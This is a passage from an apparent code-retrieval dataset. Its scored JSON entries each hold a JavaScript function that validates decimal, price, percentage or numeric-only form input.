pPrecision){\n var pElement;\n var pPrecision;\n el=document.getElementById(pElement).value;\n if (el != \"\") {\n el = el.replace(\"$\",\"\");\n el = el.replace(\",\",\"\");\n if (isNaN(el)==false){\n if (parseFloat(el) < 0){\n document.getElementById(pElement).value = \"\";\n } else {\n document.getElementById(pElement).value = (parseFloat(el)).toFixed(pPrecision);\n }\n } else {\n document.getElementById(pElement).value = \"\";\n }\n }\n\n}", "title": "" }, { "docid": "a03890bb2e3133a7443183cd361c6f1d", "score": "0.63032335", "text": "function checkValue(obj){\n \tvar selectionStart=null;\n \tif(navigator.userAgent.indexOf('MSIE') >= 0){\n \t\tselectionStart=getCaret(obj);\n \t}else{\n \t\tselectionStart = obj.selectionStart;\n \t}\n var rr = $(obj).val(); //get current input value\n var rule = /^[^0-9|\\.]$/; //validation rule\n if(rr.length>0){ //validate when has value\n var newStr=''; //temp string\n //filter\n for(var i=0;i<rr.length;i++){\n var c = rr.substr(i,1);\n if(!rule.test(c)){ //pass the rule\n newStr+=c;\n }\n }\n if(newStr!=''){\n //only a point left,remove extra 0\n var szfds = newStr.split('.');//szfds\n var zs = ''; //interger\n var xs = ''; //float\n\n if(szfds.length>1){\n zs=szfds[0];\n xs=szfds[1];\n for(var i=1;i<zs.length;i++){\n var zs_char = zs.substr(0,1);\n if(zs_char=='0'){\n zs = zs.substring(1,zs.length);\n }\n }\n //9 digits interger\n if(zs.length>9){\n zs=zs.substring(0,9);\n }\n //2 digits float\n if(xs.length>2){\n xs = xs.substring(0,2);\n }\n\n newStr = zs+'.'+xs;\n }else{\n zs=szfds[0];\n\n if(zs.length>9){\n newStr=zs.substring(0,9);\n }\n for(var i=1;i<zs.length;i++){\n var zs_char = zs.substr(0,1);\n if(zs_char=='0'){\n newStr = zs.substring(1,zs.length);\n }\n }\n }\n\n //auto add 0 in front of point\n if(newStr.indexOf('.')==0){\n newStr='0'+newStr;\n }\n }\n\n\n $(obj).val(newStr);\n //set cursor position---s//\n if(obj.setSelectionRange)\n {\n obj.focus();\n obj.setSelectionRange(selectionStart,selectionStart);\n }\n else if (obj.createTextRange) {\n var range = obj.createTextRange();\n range.collapse(true);\n range.moveEnd('character', selectionStart);\n range.moveStart('character', selectionStart);\n range.select();\n }\n //set cursor position---e//\n }\n\n }", "title": "" }, { "docid": "f13a1bd9b031cb5d10f5a247530fbdb6", "score": "0.6296896", "text": "function validation(val) {\n if (typeof(val) === 'number') return true;\n return false;\n}", "title": "" }, { "docid": "d7e9debc5983cd797b015fdf4df83e67", "score": "0.62915194", "text": "function TextIsNotDecimal(champ)\r\n{\r\n if (TextIsEmpty(champ))\r\n { return true;}\r\n else\r\n {\r\n val = eval(\"formulaire.\"+champ+\".value\");\r\n if (IsDecimal(val))\r\n { return false;}\r\n else\r\n { return true;}\r\n }\r\n}", "title": "" }, { "docid": "352d66056e29fc8301d0e31f389b1e98", "score": "0.6284735", "text": "function validatePricePerUnit(element){\n if (isNaN(element.val()) || element.val()=='') {\n errors.push('The Price per Package must be a number');\n } else if(element.val() > 0 && element.val() < .50) {\n errors.push('The Price per Package must be 0 or higher than 0.50');\n }\n}", "title": "" }, { "docid": "8eda3d8f0d7de91325b930d10bcb3338", "score": "0.62727875", "text": "function checkTipAmounts() {\n\tvar tipError = 0;\n\tvar TipInputs = document.getElementsByClassName('set-tip-amount');\n\tfor (i = 0; i < TipInputs.length; i++) {\n\t\tvar tipValue = $(TipInputs[i]).val();\n\t\tif (tipValue != '') {\n\t\t\tfor (i2 = 0; i2 < tipValue.length; i2++) {\n\t\t\t\tif ( (!tipValue[i2] == '.') && (isNaN(parseInt(tipValue[i2]))) ) {\n\t\t\t\t\ttipError = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (tipValue.split('.')) {\n\t\t\tvar deci = tipValue.split('.')[1];\n\t\t\tif ( ( (deci) && (deci.length > 2) ) || (tipValue.split('.').length > 2) ) {\n\t\t\t\ttipError = 1;\n\t\t\t}\n\t\t}\n\t}\n\tif (tipError == 1) {\n\t\talert('Input a valid tip amount');\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "b01d4a4bffce6834e19b430be115f143", "score": "0.6265734", "text": "function validateActualPrice(actualPrice) {\n\t/*\n\t * Regular expression pattern to check if price is decimal number. Only upto\n\t * 3 digits are allowed after decimal point\n\t */\n\tlet pattern = /^\\d+(\\.\\d{1,3})?$/;\n\tif (actualPrice !== null && actualPrice !== \"\" && actualPrice !== \" \"\n\t\t\t&& pattern.test(actualPrice)) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "e81034e640c4b4c417d916830e37c5e6", "score": "0.6262856", "text": "function IsDecimal(target, propertyName) {\n attribute_service_1.addAttributeOptions(target, propertyName, {\n validate: {\n isDecimal: true\n }\n });\n}", "title": "" }, { "docid": "0942613e4d8e0ae43fa7819c00555bd2", "score": "0.62604386", "text": "function isDecimal(value) {\n const checkedValue = value.toString().trim();\n if (Number.isNaN(Number.parseFloat(checkedValue))) {\n return false;\n }\n return Number.parseFloat(checkedValue) === Number(checkedValue);\n}", "title": "" }, { "docid": "5c4f16da0316e2d5a1f498e7c736d4f2", "score": "0.6241751", "text": "function isValid(el, evnt) { \n var charC = (evnt.which) ? evnt.which : evnt.keyCode; \n if (charC == 46) { \n if (el.value.indexOf('.') === -1) { \n return true; \n } else { \n return false; \n } \n } else { \n if (charC > 31 && (charC < 48 || charC > 57)) \n return false; \n } \n return true; \n}", "title": "" }, { "docid": "74c0781075434f05f04f793bb2bd1f8f", "score": "0.6240916", "text": "function NumberValidte(frm, field_name, captionName, isCompulsory, minLength, maxLength)\n{\n var fieldvalue = frm.elements[field_name].value;\n var alpharegexpr = /^([0-9]+)$/;\n if (isCompulsory === true)\n {\n if ((fieldvalue) === \"\") {\n value_common_alert(captionName);\n frm.elements[field_name].focus();\n return false;\n }\n }\n if ((fieldvalue) !== \"\")\n {\n if (alpharegexpr.test(fieldvalue) !== true)\n {\n valid_common_alert(captionName);\n frm.elements[field_name].focus();\n return false;\n }\n if (fieldvalue.length < minLength)\n {\n captionName = captionName.replace(\"\\\"\", \"'\");\n alert(\"\\'\" + captionName + \"\\' should not be less than \" + minLength + \" characters.\");\n frm.elements[field_name].focus();\n return false;\n }\n if (fieldvalue.length > maxLength)\n {\n valid_common_alert(captionName, maxLength);\n frm.elements[field_name].focus();\n return false;\n }\n return true;\n }\n return true;\n}", "title": "" }, { "docid": "d559f1ad8046c1e7225154a09dc95b76", "score": "0.6216764", "text": "function validar_input(valor)\n{\n valor = (valor===\"\")?parseFloat(0):parseFloat(valor);\n return valor;\n}", "title": "" }, { "docid": "bc9f02922c2037035e1a28516093f3de", "score": "0.621616", "text": "function numbersonly(myfield, e, dec){\n\tvar key;\n\tvar keychar;\n \n\tif (window.event)\n\t\tkey = window.event.keyCode;\n\telse if (e)\n\t\tkey = e.which;\n\telse\n\t\treturn true;\n\tkeychar = String.fromCharCode(key);\n \n\t// teclas de control\n\tif ((key==null) || (key==0) || (key==8) || (key==9) || (key==13) || (key==27) )\n\t\treturn true;\n\t// numeros\n\telse if (((\"0123456789\").indexOf(keychar) > -1))\n\t\treturn true;\n\t// salto de punto decimal\n\telse if (dec && (keychar == \".\")){\n\t\tmyfield.form.elements[dec].focus();\n\t\treturn false;\n\t}\n\telse\n\t\treturn false;\n}", "title": "" }, { "docid": "3ce52308bf1901fa4ce9bee227b7e408", "score": "0.62063086", "text": "function checkDecimals(num) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\treturn Math.floor(num) == num ? 0 : num.toString().split(\".\")[1].length\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcatch {\n\t\t\t\t\t\t\tthrow new TypeError(\"'step' cannot be tested on input which does not meet the correct format.\")\n\t\t\t\t\t\t}\n\t\t\t\t\t}", "title": "" }, { "docid": "30e30e5a86e385310599508f9c538c7d", "score": "0.6200465", "text": "function isDecimalDigits(value)\r\n{\r\n\treturn /^-?\\d+$/.test(value);\r\n}", "title": "" }, { "docid": "7a52e72d2bd742a75a7879df4cecf238", "score": "0.6198445", "text": "function validatePrecisionAllowNegative(pElement, pPrecision){\n var pElement;\n var pPrecision;\n el=document.getElementById(pElement).value;\n if (el != \"\") {\n el = el.replace(\"$\",\"\");\n el = el.replace(\",\",\"\");\n if (isNaN(el)==false){\n if (parseFloat(el) == 0){\n document.getElementById(pElement).value = \"0.00\";\n } else {\n document.getElementById(pElement).value = (parseFloat(el)).toFixed(pPrecision);\n }\n } else {\n document.getElementById(pElement).value = \"\";\n }\n }\n\n}", "title": "" }, { "docid": "0c97040cb20a137d8b5571ea54574acc", "score": "0.6197381", "text": "function checkPrice(input,errSelector){\n var val = $(input).val();\n var regex=/^[1-9][0-9]*$/;\n if(!regex.test(val)){\n switchValid(false,input,errSelector,\"Invalid price\");\n return false;\n }else{\n switchValid(true,input,errSelector);\n return true;\n }\n}", "title": "" }, { "docid": "2e383c5aa2ff348c8ac3bc167f01b7f0", "score": "0.61935234", "text": "function allowNumericInput(evt, allowDecimal) {\n var charCode = (evt.which) ? evt.which : evt.keyCode;\n //Check for decimal\n if (allowDecimal) {\n if (String.fromCharCode(charCode) == \".\") {\n return true;\n }\n }\n //check for 0-9 key and numpad 0-9 key\n return !(charCode > 31 && (charCode < 48 || charCode > 57) && (charCode < 96 || charCode > 105));\n\n\n}", "title": "" }, { "docid": "fd401553fb5dd7bcf604d8da6c92aff1", "score": "0.6190773", "text": "function numbersonly (myfield, e) {\n// TODO: Probably should rewrite as a filter\n var key;\n var keychar;\n if (window.event) {\n key = window.event.keyCode;\n } else if (e) {\n key = e.which;\n } else {\n return true;\n }\n keychar = String.fromCharCode(key);\n if ((key === null) || (key === 0) || (key === 8) ||\n (key === 9) || (key === 13) || (key === 27)) {\n return true;\n } else if (((\"0123456789\").indexOf(keychar) > -1)) {\n return true;\n } else if (keychar === \".\") {\n var value = myfield.value; // does not include keypress value\n return (value.split('.').length - 1) < 1;\n }\n\n return false;\n}", "title": "" }, { "docid": "ec43c8f5b0f6dd5f5595bc84a1bc5e88", "score": "0.61850184", "text": "function funcCorrectNrOfDecimals(element, nrOfDecimals) {\n \n if (element.tagName === \"INPUT\" && !isNaN(parseFloat(element.value)) && element.value !== \"\" && element.getAttribute(\"type\") == \"text\") { \n \n if (Math.floor(parseFloat(element.value)) !== parseFloat(element.value) ) { \n element.value = parseFloat(element.value).toFixed(nrOfDecimals);\n }\n }\n}", "title": "" }, { "docid": "9675a7eca8b096f6b0d8c40251ee0f7d", "score": "0.61652523", "text": "function onlyDecimalChanged() {\r\n if (event.keyCode<48 || event.keyCode>57 ) {\r\n if ((event.keyCode!=40) && (event.keyCode!=41) && (event.keyCode!=45)) {\r\n \tevent.returnValue = false;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "63d894750aa72a649a864ecb9c9ff7e9", "score": "0.61315835", "text": "function isMoneyKey(evt)\n{\n var charCode = (evt.which) ? evt.which : event.keyCode;\n\n // check for extra decimal point\n //\n if( charCode == 46 ) // decimal point\n {\n if ( !(evt.target.value.indexOf('.') === -1) )\n { \n return false; // already found a decimal \n }\n }\n\n // check if valid keystroke\n //\n if ( (charCode != 46) && (charCode > 31) &&\n ((charCode < 48) || (charCode > 57) ) )\n {\n return false;\n }\n\n // check for no more than 2 decimal places\n //\n if( charCode != 8 ) // only valid key here is backspace\n {\n integer = evt.target.value.split('.')[0];\n mantissa = evt.target.value.split('.')[1];\n\n if (typeof mantissa === 'undefined') { mantissa = ''; }\n if (mantissa.length >= 2) { return false; } // already exceeded number of decimal places\n }\n \n return true;\n\n} // isMoneyKey", "title": "" }, { "docid": "63d894750aa72a649a864ecb9c9ff7e9", "score": "0.61315835", "text": "function isMoneyKey(evt)\n{\n var charCode = (evt.which) ? evt.which : event.keyCode;\n\n // check for extra decimal point\n //\n if( charCode == 46 ) // decimal point\n {\n if ( !(evt.target.value.indexOf('.') === -1) )\n { \n return false; // already found a decimal \n }\n }\n\n // check if valid keystroke\n //\n if ( (charCode != 46) && (charCode > 31) &&\n ((charCode < 48) || (charCode > 57) ) )\n {\n return false;\n }\n\n // check for no more than 2 decimal places\n //\n if( charCode != 8 ) // only valid key here is backspace\n {\n integer = evt.target.value.split('.')[0];\n mantissa = evt.target.value.split('.')[1];\n\n if (typeof mantissa === 'undefined') { mantissa = ''; }\n if (mantissa.length >= 2) { return false; } // already exceeded number of decimal places\n }\n \n return true;\n\n} // isMoneyKey", "title": "" }, { "docid": "8420560f33a1c137989423644ef4db37", "score": "0.612604", "text": "function numbersonly(myfield, e, dec)\n{\nvar key;\nvar keychar;\n\nif (window.event)\n key = window.event.keyCode;\nelse if (e)\n key = e.which;\nelse\n return true;\nkeychar = String.fromCharCode(key);\n\n// control keys\nif ((key==null) || (key==0) || (key==8) || (key==9) || (key==13) || (key==27) ) {\n \treturn true;\n}\n// numbers\nelse if (((\"0123456789\").indexOf(keychar) > -1)) {\n return true;\n}\n \n\n// decimal point jump\nelse if (dec && (keychar == \".\"))\n {\n myfield.form.elements[dec].focus();\n return false;\n }\nelse\n return false;\n}", "title": "" }, { "docid": "088a0b8a8f5c533c3b15b2e287ff1e1d", "score": "0.6103028", "text": "function floatFn(rule,value,callback,source,options){var errors=[];var validate=rule.required||!rule.required&&source.hasOwnProperty(rule.field);if(validate){if(__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__util__[\"f\"/* isEmptyValue */])(value)&&!rule.required){return callback();}__WEBPACK_IMPORTED_MODULE_0__rule___[\"a\"/* default */].required(rule,value,source,errors,options);if(value!==undefined){__WEBPACK_IMPORTED_MODULE_0__rule___[\"a\"/* default */].type(rule,value,source,errors,options);__WEBPACK_IMPORTED_MODULE_0__rule___[\"a\"/* default */].range(rule,value,source,errors,options);}}callback(errors);}", "title": "" }, { "docid": "e9e7a1141aef171a3d21aaba952821c0", "score": "0.61006016", "text": "number(e) {\n const regex = new RegExp(\"^[0-9.]+$\");\n const key = String.fromCharCode(!e.charCode ? e.which : e.charCode);\n if (!regex.test(key)) {\n e.preventDefault();\n return false;\n }\n }", "title": "" }, { "docid": "f22537810c9459520422ee7205625158", "score": "0.60996044", "text": "function isDecimalNumber(evt) {\n var charCode = (evt.which) ? evt.which : evt.keyCode;\n if (charCode !== 46 && charCode > 31\n && (charCode < 48 || charCode > 57))\n return false;\n\n return true;\n}", "title": "" }, { "docid": "a3e6471aa1bb70ab26ee0671d55f3dd0", "score": "0.60941935", "text": "function check_numeric(field_name,message)\n{\n if (form.elements[field_name] && (form.elements[field_name].type != \"hidden\")) \n {\n\n var field_value = form.elements[field_name].value;\n\n\n if (isNaN(field_value))\n {\n error_message = error_message + \"* \" + message + \"\\n\";\n error = true;\n }\n }\n\n}", "title": "" }, { "docid": "598727197168312a9fc5ab3ed4ce0ba4", "score": "0.60839915", "text": "function validatePercent(objfield)\r\n{\r\n if ((objfield.value) > 100 )\r\n {\r\n\t\t\talert(\"Please Enter Any value between 0 to 100\");\r\n\t\t\tobjfield.focus();\r\n\t\t\tobjfield.select();\r\n\t}\r\n else\r\n return true;\r\n}", "title": "" }, { "docid": "3a702794fd1c0a4d0ca2631c3671777a", "score": "0.60743827", "text": "function validator(){\nvar x=parseFloat(document.getElementById(\"peso\").value);\nvar y=parseFloat(document.getElementById(\"euro\").value);\n if (isNaN(x)){\n alert(\"please fill in amount\");\n }\n if (isNaN(y)){\n alert(\"Please fill in amount\");\n } \n}", "title": "" }, { "docid": "ea7dbaea150a66cfead3ecd91cb8eaff", "score": "0.60529304", "text": "function is_valid_dollars(value)\n{\n if (value == null)\n return false;\n\n value = value.replace(/,/ig, '');\n value = value.replace(/\\$/ig, '');\n if (is_valid_integer(value))\n return value;\n if (/^\\d+\\.\\d{1,2}$/.test(value))\n return value;\n return false;\n}", "title": "" }, { "docid": "3927b49ce14372f75edf3b75165ca9d3", "score": "0.603618", "text": "function validatePercentage(field)\r\n\t{\r\n\t\tfield.style.backgroundColor = \"white\";\r\n\t\tif(isNaN(field.value) )\r\n\t\t{\r\n\t\talert(\"Please Enter Numeric Value For Percentage Of Completion\");\r\n\t\tfield.style.backgroundColor = \"#fca9ae\";\r\n\t\tfield.focus();\r\n\t\treturn false;\r\n\t\t}\r\n\t\tif(eval(field.value)<=0)\r\n\t \t{\r\n\t\talert(\"Please enter Proper Percentage\");\r\n\t\tfield.style.backgroundColor = \"#fca9ae\";\r\n\t\tfield.focus(); \r\n\t\treturn false;\r\n\t \t}\r\n\t \tif(eval(field.value)>100)\r\n\t \t{\r\n\t\talert(\"Please enter Proper Percentage\");\r\n\t\tfield.style.backgroundColor = \"#fca9ae\";\r\n\t\tfield.focus(); \r\n\t\treturn false;\r\n \t\t}\r\n \t\treturn true;\r\n\t}", "title": "" }, { "docid": "0ba10047a742c4fb60ae8129b04bbcfc", "score": "0.60266817", "text": "function numeric_field_change(field) {\n var check = true;\n var value = field.value; //get characters\n //check that all characters are digits, ., -, or \"\"\n for(var i=0;i < field.value.length; ++i)\n\t{\n\t var new_key = value.charAt(i); //cycle through characters\n\t if(((new_key < \"0\") || (new_key > \"9\")) && \n\t !(new_key == \"\") &&\n\t !(new_key == \".\")\n\t )\n\t\t{\n check = false;\n break;\n\t\t}\n\t}\n //apply appropriate colour based on value\n if(!check)\n\t{\n\t field.style.backgroundColor = \"red\";\n\t}\n else\n\t{\n\t field.style.backgroundColor = \"white\";\n\t}\n}", "title": "" }, { "docid": "a98b0a1cbe4a53560bd49f9ed9793170", "score": "0.6026267", "text": "function numbersonly(myfield, e, dec)\r\n{\r\nvar key;\r\nvar keychar;\r\n\r\nif (window.event)\r\n key = window.event.keyCode;\r\nelse if (e)\r\n key = e.which;\r\nelse\r\n return true;\r\nkeychar = String.fromCharCode(key);\r\n\r\n// control keys\r\nif ((key==null) || (key==0) || (key==8) || \r\n (key==9) || (key==13) || (key==27) )\r\n return true;\r\n\r\n// numbers\r\nelse if (((\"0123456789\").indexOf(keychar) > -1))\r\n return true;\r\n\r\n// decimal point jump\r\nelse if (dec && (keychar == \".\"))\r\n {\r\n myfield.form.elements[dec].focus();\r\n return false;\r\n }\r\nelse\r\n return false;\r\n}", "title": "" }, { "docid": "93b7018f4e786833d85904758e0ce473", "score": "0.602342", "text": "function IsDecimal(options, validationOptions) {\n return Object(_common_ValidateBy__WEBPACK_IMPORTED_MODULE_0__[\"ValidateBy\"])({\n name: IS_DECIMAL,\n constraints: [options],\n validator: {\n validate: function (value, args) { return isDecimal(value, args.constraints[0]); },\n defaultMessage: Object(_common_ValidateBy__WEBPACK_IMPORTED_MODULE_0__[\"buildMessage\"])(function (eachPrefix) { return eachPrefix + \"$property is not a valid decimal number.\"; }, validationOptions)\n }\n }, validationOptions);\n}", "title": "" }, { "docid": "731634dd297b48399dbe7bd0db73af44", "score": "0.60227406", "text": "function decimals() {\r\n var decimal = document.querySelector('#damages');\r\n var checker = decimal.value;\r\n if (checker.indexOf(\".\") >= 0) {\r\n decimal.value = checker.substr(0, checker.indexOf(\".\")) + checker.substr(checker.indexOf(\".\"), 3);\r\n } else {\r\n decimal.value = checker;\r\n }\r\n}", "title": "" }, { "docid": "60a7945f3d72c22ce496ec4f2070fbb5", "score": "0.6022315", "text": "function dinner_format(input) {\n var valida = 0;\n var num = input.value.replace(/\\./g, \"\");\n if (!isNaN(num)) {\n num = num.toString().split(\"\").reverse().join(\"\").replace(/(?=\\d*\\.?)(\\d{3})/g, \"$1.\");\n num = num.split(\"\").reverse().join(\"\").replace(/^[\\.]/, \"\");\n input.value = num;\n }\n else {\n valida = 1;\n input.value = input.value.replace(/[^\\d\\.]*/g, \"\");\n }\n return valida;\n}", "title": "" }, { "docid": "a49fb6e1ee9a76b4a22f0aee0a525d5b", "score": "0.6018793", "text": "validate(){\r\n\t\tlet isValid = true;\r\n\t\tvar regexInt = /^[0-9]+$/; // regex for int\r\n\t\tvar regexFloat = /^\\d*\\.?\\d+$/; //regex for float\r\n\t\t\r\n\t\t// checking if bill and tip are float values, and numberOfPeople is int\r\n\t\tif ( !regexFloat.test(this.bill) || !regexFloat.test(this.tip) || !regexInt.test(this.numberOfPeople) ){\r\n\t\t\tisValid = false;\r\n\t\t\treturn isValid;\r\n\t\t}\r\n\t\t\r\n\t\t// checking if values are negative\r\n\t\tif (this.bill<0 || this.tip<0 || this.numberOfPeople<1){\r\n\t\t\tisValid = false;\r\n\t\t\treturn isValid;\r\n\t\t}\r\n\t\t\r\n\t\treturn isValid;\r\n\t}", "title": "" }, { "docid": "e5e54f7b9e66530bed4abb33f1ccb105", "score": "0.59984624", "text": "visitXSDDecimalType(xsdDeci){\n // console.log('xml filter visit xsdDeci', xsdDeci)\n if(this.attrManage){\n var optionsOp;\n var attr = this.currentAttr\n var value;\n if(typeof attr.fixedValue !== 'undefined'){\n value = attr.fixedValue;\n }else if(typeof attr.value !== 'undefined'){\n value = attr.value;\n }else if(typeof attr.defaultValue !== 'undefined'){\n value = attr.defaultValue;\n }\n if (xsdDeci.isEnumerated()){\n optionsOp = [ '=', '!='];\n this.generateSelectSelector(optionsOp, xsdDeci.enumeration, 'number');\n }else{\n optionsOp = [ '=', '!=', '>', '>=', '<', '<='];\n this.generateInputSelector(optionsOp, 'number', 0.01, value);\n }\n }\n }", "title": "" }, { "docid": "d675ec5841e65728de36360b928c6e41", "score": "0.5987945", "text": "noDecimal(value, min)\n {\n value.change(function()\n {\n if((value).val() % 1 != 0)\n {\n value.val(min);\n value.focus();\n }\n });\n }", "title": "" }, { "docid": "b6d0acdf7c7c724a401239f288ab3cfa", "score": "0.59705544", "text": "function validateInput(n) {\n return (!isNaN(parseFloat(n)) && isFinite(n)) ? true : false;\n }", "title": "" }, { "docid": "9f98b9112e04101f0708a12035f54894", "score": "0.596265", "text": "function validatePrice(number){\n\tif(number.match(/^(\\d+?(\\.\\d{2}))$/)){\n\t\treturn true;\n\t}\t\n\telse{\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "238c1ca56b3b2b95aab8b8e046362798", "score": "0.59481466", "text": "function numbersonly(myfield, e, dec)\n{\n\tvar key;\n\tvar keychar;\n\t\n\tif (window.event)\n\t key = window.event.keyCode;\n\telse if (e)\n\t key = e.which;\n\telse\n\t return true;\n\tkeychar = String.fromCharCode(key);\n\t\n\t// control keys\n\tif ((key==null) || (key==0) || (key==8) || (key==9) || (key==13) || (key==27) )\n\t return true;\n\t\n\t// numbers\n\telse if (((\"0123456789\").indexOf(keychar) > -1))\n\t return true;\n\t\n\t// decimal point jump\n\telse if (dec && (keychar == \".\"))\n\t {\n\t myfield.form.elements[dec].focus();\n\t return false;\n\t }\n\telse\n\t return false;\n}", "title": "" }, { "docid": "6e17ec9fad993f6431e76af5acd8fc6a", "score": "0.5939232", "text": "function validaNumericos(event) {\r\n if(event.charCode >= 48 && event.charCode <= 57){\r\n return true;\r\n }\r\n return false; \r\n}", "title": "" }, { "docid": "97b3f202ab9d21e4e4812595a4138ee1", "score": "0.5936723", "text": "function is_valid_float(value)\n{\n if (value == null)\n return false;\n\n value = value.replace(/,/ig, '');\n if (is_valid_integer(value))\n return value;\n if (/^\\d+\\.\\d+$/.test(value))\n return value;\n return false;\n}", "title": "" }, { "docid": "591e00edd0b8b8ff14e518c7f5dc34e4", "score": "0.5936094", "text": "function isValidFloat(floatVlaue) {\n try {\n if ((floatVlaue.length - floatVlaue.replace(/\\./g, '').length) > 1) {\n return false;\n } else {\n return true;\n }\n } catch (err) {\n alert(err);\n }\n}", "title": "" }, { "docid": "cd657049d89fcb9b450100bbcf47ac25", "score": "0.5928807", "text": "function ValidateNumAndDot() {\n var regex = new RegExp(\"^[0-9.,]\");\n var key = String.fromCharCode(event.charCode ? event.which : event.charCode);\n if (!regex.test(key)) {\n event.preventDefault();\n return false;\n }\n}", "title": "" }, { "docid": "01aa3014c6369c273f2fdc00fb108cea", "score": "0.59285516", "text": "function numberValidator(value) {\n return /^(?:-?\\d+|-?\\d{1,3}(?:,\\d{3})+)?(?:\\.\\d+)?$/.test(value);\n}", "title": "" }, { "docid": "f265f2278b261b4d2ef745ea27818023", "score": "0.5916922", "text": "function testarCampoDecimalValorZero(valor, nomeCampo) {\r\n\r\n\tvar retorno = true;\r\n\t\r\n\tvar conteudo = valor.value.replace(\",\",\"\");\r\n\tvar conteudo = conteudo.replace(\".\",\"\");\r\n\t\r\n\tif (trim(valor.value).length > 0){\r\n\t\r\n\t\tif (isNaN(valor.value)) {\r\n \r\n\t\t\tfor (x= 0; x < conteudo.length; x++){\r\n\t\t\t\t\r\n\t\t\t\tif (conteudo.substr(x, 1) != \"0\"){\r\n\t\t\t\t\tretorno = true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse{\r\n\t\t\t\t\tretorno = false;\t\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif (!retorno){\r\n\t\t\t\talert( nomeCampo + ' deve somente conter n�meros decimais positivos.');\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\r\n\t\t\tvar intValorCampo = valor.value * 1;\r\n\t\r\n\t\t\tif (intValorCampo == 0) {\r\n\t\t\t\talert( nomeCampo + ' deve somente conter n�meros decimais positivos.');\r\n \t\tretorno = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\treturn retorno;\r\n}", "title": "" }, { "docid": "3ffe296408e30bb185737749ced07da8", "score": "0.5914389", "text": "function checkFloat(tmp) {\n var retValue;\n\n if (tmp == \"\" || tmp == \"-\" || tmp == \".\") {\n retValue = 0;\n }\n else {\n if (IsDigit1(tmp) == true) {\n retValue = parseFloat(tmp);\n }\n else {\n retValue = 0;\n }\n\n }\n return retValue;\n}", "title": "" }, { "docid": "3d624710662aad905069ce37198089af", "score": "0.5905292", "text": "function isNumber (value) {\n if(typeof value === 'number' && isFinite(value)){\n return true;\n }\n schemaTypeValidationError.message = `${value} is not of type Number`\n throw schemaTypeValidationError\n return\n \n}", "title": "" }, { "docid": "a799e016fbe0b4fea3049dcb4c4d89be", "score": "0.5903336", "text": "function checkDec(val) {\n if(val == \".\" && data[0].includes(\".\") && dec === 0) {\n decVal = true;\n }\n if(val == \".\" && data[1].includes(\".\") && dec === 1) {\n decVal = true;\n }\n}", "title": "" }, { "docid": "47677fe0f503585d6b2171c4ee946724", "score": "0.5902846", "text": "function checkError(input){\n const twoDecimal = parseFloat(input);\n var regexp = /^[0-9]*(\\.[0-9]{0,2})?$/;\n\n //Checks if input is empty, passes the decimal test and is larger than zero.\n if((typeof twoDecimal === 'number' && regexp.test(input) && twoDecimal > 0) || input === ''){\n updateError(null);\n }else{\n updateError('Please enter a valid number to 2 decimal places');\n }\n }", "title": "" }, { "docid": "e62eaafbfa71cd3d0b4d4a82c84b8804", "score": "0.59010184", "text": "function isNumber(x) {\r\n //alert(\"in isNumber, x = \" + x + \"\\nNumber(x) = \" + Number(x));\r\n Helper.setHtml(\"input_err\", \"\");\r\n if (Number(x).toString() !== \"NaN\" || x == \".\") {\r\n //alert(\"isNumber = true\");\r\n return true;\r\n } else {\r\n //alert(\"isNumber = false\");\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "e44e39c4c1e2937c886167f5f0119ad1", "score": "0.589953", "text": "function forceNumber(element) {\n element\n .data(\"oldValue\", '')\n .bind(\"paste\", function(e) {\n var validNumber = /^[-]?\\d+(\\.\\d{1,2})?$/;\n element.data('oldValue', element.val())\n setTimeout(function() {\n if (!validNumber.test(element.val()))\n element.val(element.data('oldValue'));\n }, 0);\n });\n element\n .keypress(function(event) {\n var text = $(this).val();\n if ((event.which != 46 || text.indexOf('.') != -1) && //if the keypress is not a . or there is already a decimal point\n ((event.which < 48 || event.which > 57) && //and you try to enter something that isn't a number\n (event.which != 45 || (element[0].selectionStart != 0 || text.indexOf('-') != -1)) && //and the keypress is not a -, or the cursor is not at the beginning, or there is already a -\n (event.which != 0 && event.which != 8))) { //and the keypress is not a backspace or arrow key (in FF)\n event.preventDefault(); //cancel the keypress\n }\n\n if ((text.indexOf('.') != -1) && (text.substring(text.indexOf('.')).length > 10) && //if there is a decimal point, and there are more than two digits after the decimal point\n ((element[0].selectionStart - element[0].selectionEnd) == 0) && //and no part of the input is selected\n (element[0].selectionStart >= element.val().length - 2) && //and the cursor is to the right of the decimal point\n (event.which != 45 || (element[0].selectionStart != 0 || text.indexOf('-') != -1)) && //and the keypress is not a -, or the cursor is not at the beginning, or there is already a -\n (event.which != 0 && event.which != 8)) { //and the keypress is not a backspace or arrow key (in FF)\n event.preventDefault(); //cancel the keypress\n }\n });\n}", "title": "" }, { "docid": "b9ec4ff95aa7f815804e43bca7ef4fea", "score": "0.58841157", "text": "function onDecimal() {\n if (currentValue.indexOf(\".\") === -1) {\n if (currentValue.length) {\n currentValue += \".\";\n } else {\n currentValue = \"0.\";\n }\n }\n // if there is already a deicaml, then just ignore this\n\n document.calculator.input.value = currentValue;\n }", "title": "" }, { "docid": "13c1f999813e7b4321433722c3aa000e", "score": "0.5882965", "text": "function isFloatKey(evt)\n{\n var charCode = (evt.which) ? evt.which : event.keyCode;\n\n // check for extra decimal point\n //\n if( charCode == 46 ) // decimal point\n {\n if ( !(evt.target.value.indexOf('.') === -1) )\n { \n return false; // already found a decimal \n }\n }\n\n // check if valid keystroke\n //\n if ( (charCode != 46) && (charCode > 31) &&\n ((charCode < 48) || (charCode > 57) ) )\n {\n return false;\n }\n\n return true;\n\n} // isFloatKey", "title": "" }, { "docid": "13c1f999813e7b4321433722c3aa000e", "score": "0.5882965", "text": "function isFloatKey(evt)\n{\n var charCode = (evt.which) ? evt.which : event.keyCode;\n\n // check for extra decimal point\n //\n if( charCode == 46 ) // decimal point\n {\n if 